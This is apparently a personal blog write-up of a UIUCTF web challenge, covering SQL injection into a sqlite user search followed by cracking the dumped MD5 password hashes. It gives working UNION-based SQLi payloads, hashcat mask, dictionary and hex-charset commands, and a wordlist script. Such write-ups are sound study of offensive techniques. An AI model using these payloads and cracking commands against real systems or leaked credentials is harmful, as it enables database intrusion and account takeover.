Introduction

This weekend, I decided play in UIUCTF, an online event organized by the SIGPwny security group at The University of Illinois at Urbana-Champaign.

This post is a writeup of login_page, a 200-point web challenge.

In this event I went by the name “I am (G)root”, playing with a couple friends under the
team name “Isle Be Back”.

I got the first capture for this flag, although there was some technical issues that may have prevented another teaming from capping it before me.

Starting Out

Challenge Description for login_page, reading: "I came across this login page running sqlite and was told there was a flag behind it. Can you find it?"

From the description alone, my first thought was that this is probably a SQL injection challenge. From the description, I knew that the database in sqlite, which would be useful for creating a valid payload.

Going to the challenge link, I was presented with a very simple looking page.

Page saying "Please Login", displaying a username and password field, and a "Search for users" link at the bottom.

I tried basic SQLi payloads on the login screen, like " OR 1=1-- and similar. After those didnt’t appear to work, my attention was drawn to the ‘search for users’ link at the bottom of the page.

Trying to search ‘a’, I got 3 results: ‘alice’, ‘carl’, and ‘dania’.

search for "a" showing the name and bio for alice, carl, and dania

This search appeared to be doing a partial match on the input text.
Based on this, my initial guess was that it was executing a SQL statement something like:

"SELECT username, bio FROM USERS WHERE username LIKE %" + search +  "%"

To validate this, I then searched only for ‘%’. If the SQL query is structured how I thought it was, then that search should generate the query:

"SELECT username, bio FROM USERS WHERE username LIKE %%%"

As such, it would return every user in the database.

search for "%" showing all users in the database (noob, alice, bob, carl and dania)

The output from the search confirmed my guess.

Next, I wanted to see whether this input could be injected.
If I entered just " into the search, the app threw up an error, which suggested that the code was vulnerable to SQLi.

SQLi

Knowing that I had an injection point, I then tried to find out more information about the database.

I hadn’t previously done many SQLi attacks against sqlite in particular, so I had to do a bit of research on this one.
This PDF contained exactly the payloads I needed.

First, I tried a basic UNION injection to see if I could get the names of the database tables.
%" UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite%' --

result of a UNION-based SQL injection attack showing that there's a table called "users"

As seen in the screenshot, this was successful. There was a single table, called users.
Next, I wanted to get the names of the columns in the users table, so I used this payload:

%" UNION SELECT 1,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL and name NOT LIKE 'sqlite%' AND name='users'--

That gave me the following output:

Name 	Bio
1 	CREATE TABLE users ( username text primary key not null, password_hash text not null, hint text not null, bio text not null)
alice 	this is alice's bio
bob 	this is bob's bio
carl 	this is carl's bio
dania 	this is dania's bio
noob 	this is noob's bio

There were 4 columns in the table: username, password_hash, hint and bio.
password_hash was obviously interesting, so I dumped those:

%" UNION SELECT username,password_hash FROM users-- 
Name 	Bio
alice 	530bd2d24bff2d77276c4117dc1fc719
alice 	this is alice's bio
bob 	4106716ae604fba94f1c05318f87e063
bob 	this is bob's bio
carl 	661ded81b6b99758643f19517a468331
carl 	this is carl's bio
dania 	58970d579d25f7288599fcd709b3ded3
dania 	this is dania's bio
noob 	8553127fedf5daacc26f3b677b58a856
noob 	this is noob's bio

In addition to the hashes, the hint column stuck out to me:

%" UNION SELECT username,hint  FROM USERS--
alice 	My phone number (format: 000-000-0000)
alice 	this is alice's bio
bob 	My favorite 12 digit number (md5 hashed for extra security) [starts with a 1]
bob 	this is bob's bio
carl 	My favorite Greek God + My least favorite US state (no spaces)
carl 	this is carl's bio
dania 	this is dania's bio
dania 	الحيوان المفضل لدي (6 حروف فقط)
noob 	
noob 	this is noob's bio

Note that the arabic characters here are in the wrong order. I think it’s a unicode RTL issue that happened when I was pasting it into markdown.

Hashing it out

Now that I had a hash and hint for each user, I needed to go through and crack each password hash. Based on the format of the hashes and the text of Bob’s password hint, I guessed that these were md5 hashes.

Noob

Before I pulled out hashcat, I pasted all the hashes into crackstation.net to see if I could get any easy wins. This immediately gave me noob’s password, “SoccerMom2007”. This password is also in rockyou.txt, so a simple dictionary attack would have also found it quickly.

Screenshot of crackstation.net displaying that it cracked noob's password successfully

Going back to the login page, this username and password gave me the the first part of the flag: uiuctf{Dump!

Message reading "You have successfully logged in! Here's part 0 of the flag: uiuctf{Dump"

Alice

Alice’s hint is “My phone number (format: 000-000-0000)” When I captured this flag, however, I believe the format wasn’t listed, so I had to do a bit more work.

Since a phone number has a relatively small number of valid formats such as (xxx)-xxx-xxxx, xxx-xxx-xxxx, or xxxxxxxxxx, this can be brute forced using a mask attack in hashcat.
hashes.hcmask contained the following masks:

(,),-,?1?d?d?d?2?3?d?d?d?3?d?d?d?d
?d,-,?1?1?1?2?1?1?1?2?1?1?1?1
?d,+?d?1?1?1?1?1?1?1?1?1?1
?d,?1?1?1?1?1?1?1?1?1?1
?d?d?d-?d?d?d?d
?d?d?d?d?d?d?d

These covered most common phone number formats, including 7-digit ones.
I ran:

.\hashcat64.exe -m 0 -a 3 .\hashes.txt .\hashes.hcmask -O

After a few minutes, I got Alice’s password.

530bd2d24bff2d77276c4117dc1fc719:704-186-9744

Once again, I logged in to get the next piece of the flag.

Message reading "You have successfully logged in! Here's part 1 of the flag: _4nd_un"

Bob

Bob’s password hint of “My favorite 12 digit number (md5 hashed for extra security)” was a bit misleading for me. At first, I thought that the reference to md5 was just a hint that the hashes stored in the database were md5 hashes.

After running a hashcat mask attack to try all 12 digit numbers, however, I realized that I read the hint wrong.

Bob’s password hint actually meant that the password itself is an md5 hash, so I used hashcat’s md5(md5($pass)) mode:

.\hashcat64.exe -m 2600 -a 3 .\hashes.txt ?d?d?d?d?d?d?d?d?d?d?d?d -O

This got me the 10-digit number in question:

4106716ae604fba94f1c05318f87e063:102420484096

However, since Bob’s password is double hashed, I actually needed to take the md5 hash of that number:

 echo -n 102420484096 | md5sum
5809be03c7cc31cdb12237d0bd718898  -

That successfully got me another part of the flag.

You have successfully logged in! Here's part 2 of the flag: h45h_63

Carl

Carl’s password hint is: “My favorite Greek God + My least favorite US state (no spaces)”
I don’t think there’s a premade wordlist for that, so I made a Python script to create one. gods.txt and states.txt are just lists of Greek god names and US states that I found online.

out = open('god_states.txt', 'w')
with open ('gods.txt', 'r') as gods:
    godlist = gods.readlines()
with open('states.txt', 'r') as states:
    statelist = states.readlines()
for god in godlist:
    for state in statelist:
        gs = god.rstrip()+state.rstrip()+"\n"
        print(gs)
        out.write(gs)

Now that I had my wordlist, I used it in a dictionary attack:

.\hashcat64.exe -m 0 -a 0 .\hashes.txt .\god_states.txt
661ded81b6b99758643f19517a468331:DionysusDelaware

As expected, this was correct password for Carl.

You have successfully logged in! 
Here's part 3 of the flag: 7_d4t_

That’s four parts down, one to go.

Dania

Dania’s password was the hardest to crack. Her password hint is in Arabic. Putting it to google translate, I saw that it means:
“My favorite animal (6 Arabic characters only)”

This one also was changed after I captured it. Initially, it only said “My favorite animal (6 letters only)”
Based on the fact that the hint was in Arabic, I still was able to guess that I probably wanted to try an Arabic password, even without the help of the additional clarification that was added later.

The indication that the password was only 6 characters suggested to me that a brute force attack might be the way to go here.

Cracking passwords that aren’t in the Latin alphabet proved to be surprisingly tricky. Thankfully, I found this very useful resource on that exact topic, specifically discussing brute forcing Arabic passwords in hashcat.

Even though I got the general gist of what to do from that article, I quickly ran into a problem: hashcat was estimating that the attack would take more than 12 hours on my PC. I was running this on my gaming PC, so it had a decent GPU. I needed a way to cut down on time it’d take to crack.

The way the attack works, each character of the password is actually composed of 2 character classes: ?1 and ?2. This is because unicode characters are represented by 2 bytes instead of 1. Group 1 is the first byte, which acts as a prefix here. Arabic characters start around d8 on the table. The example from the article takes prefixes from d8 to db. Group 2 specifies the characters within that prefix.

To cut down on the search space, I needed to search fewer prefixes. Looking at the hex values of characters in Dania’s password hint and comparing those to the Unicode table, I inferred that alphabetic characters seemed to be around the start of the Arabic portion of the table.

Based on this information, I tried an attack using only d8 and d9 as prefixes.

 .\hashcat64.exe -a 3 -m 0 --hex-charset 58970d579d25f7288599fcd709b3ded3  -1 d8d9 -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf ?1?2?1?2?1?2?1?2?1?2?1?2 -O -w 3

This gave me a password within only a few seconds:

58970d579d25f7288599fcd709b3ded3:طاووسة

Copy-pasting that into the login page, I was able to log in and claim the 4th and final part of the flag!

You have successfully logged in! Here's part 4 of the flag: c45h}

Finishing Up

Now that I had all the flag pieces, it was just a matter of putting them together.

uiuctf{Dump_4nd_unh45h_637_d4t_c45h}

When I tried to submit that, though, it didn’t work…
Since I was almost certain that I had the correct flag, I went on the UIUCTF Discord server and messaged the Modmail bot to confirm that I had the right flag.

It turns out that I did have the correct flag, and something was just set wrong on the organizers’ end. They fixed it immediately after I asked them about it, and I successfully got the first capture on the flag.

Conclusion

I really enjoyed doing this flag, and I appreciate the very fast response from the UIUCTF team about the technical issues with submitting it.

I went in expecting more of a SQLi challenge than a password cracking one, but it was a fun exercise in expanding my password cracking skills. The Arabic password was especially cool. I had never tried that technique before, and it’s very useful to know in case I run into non-latin passwords on a red team or something in the future.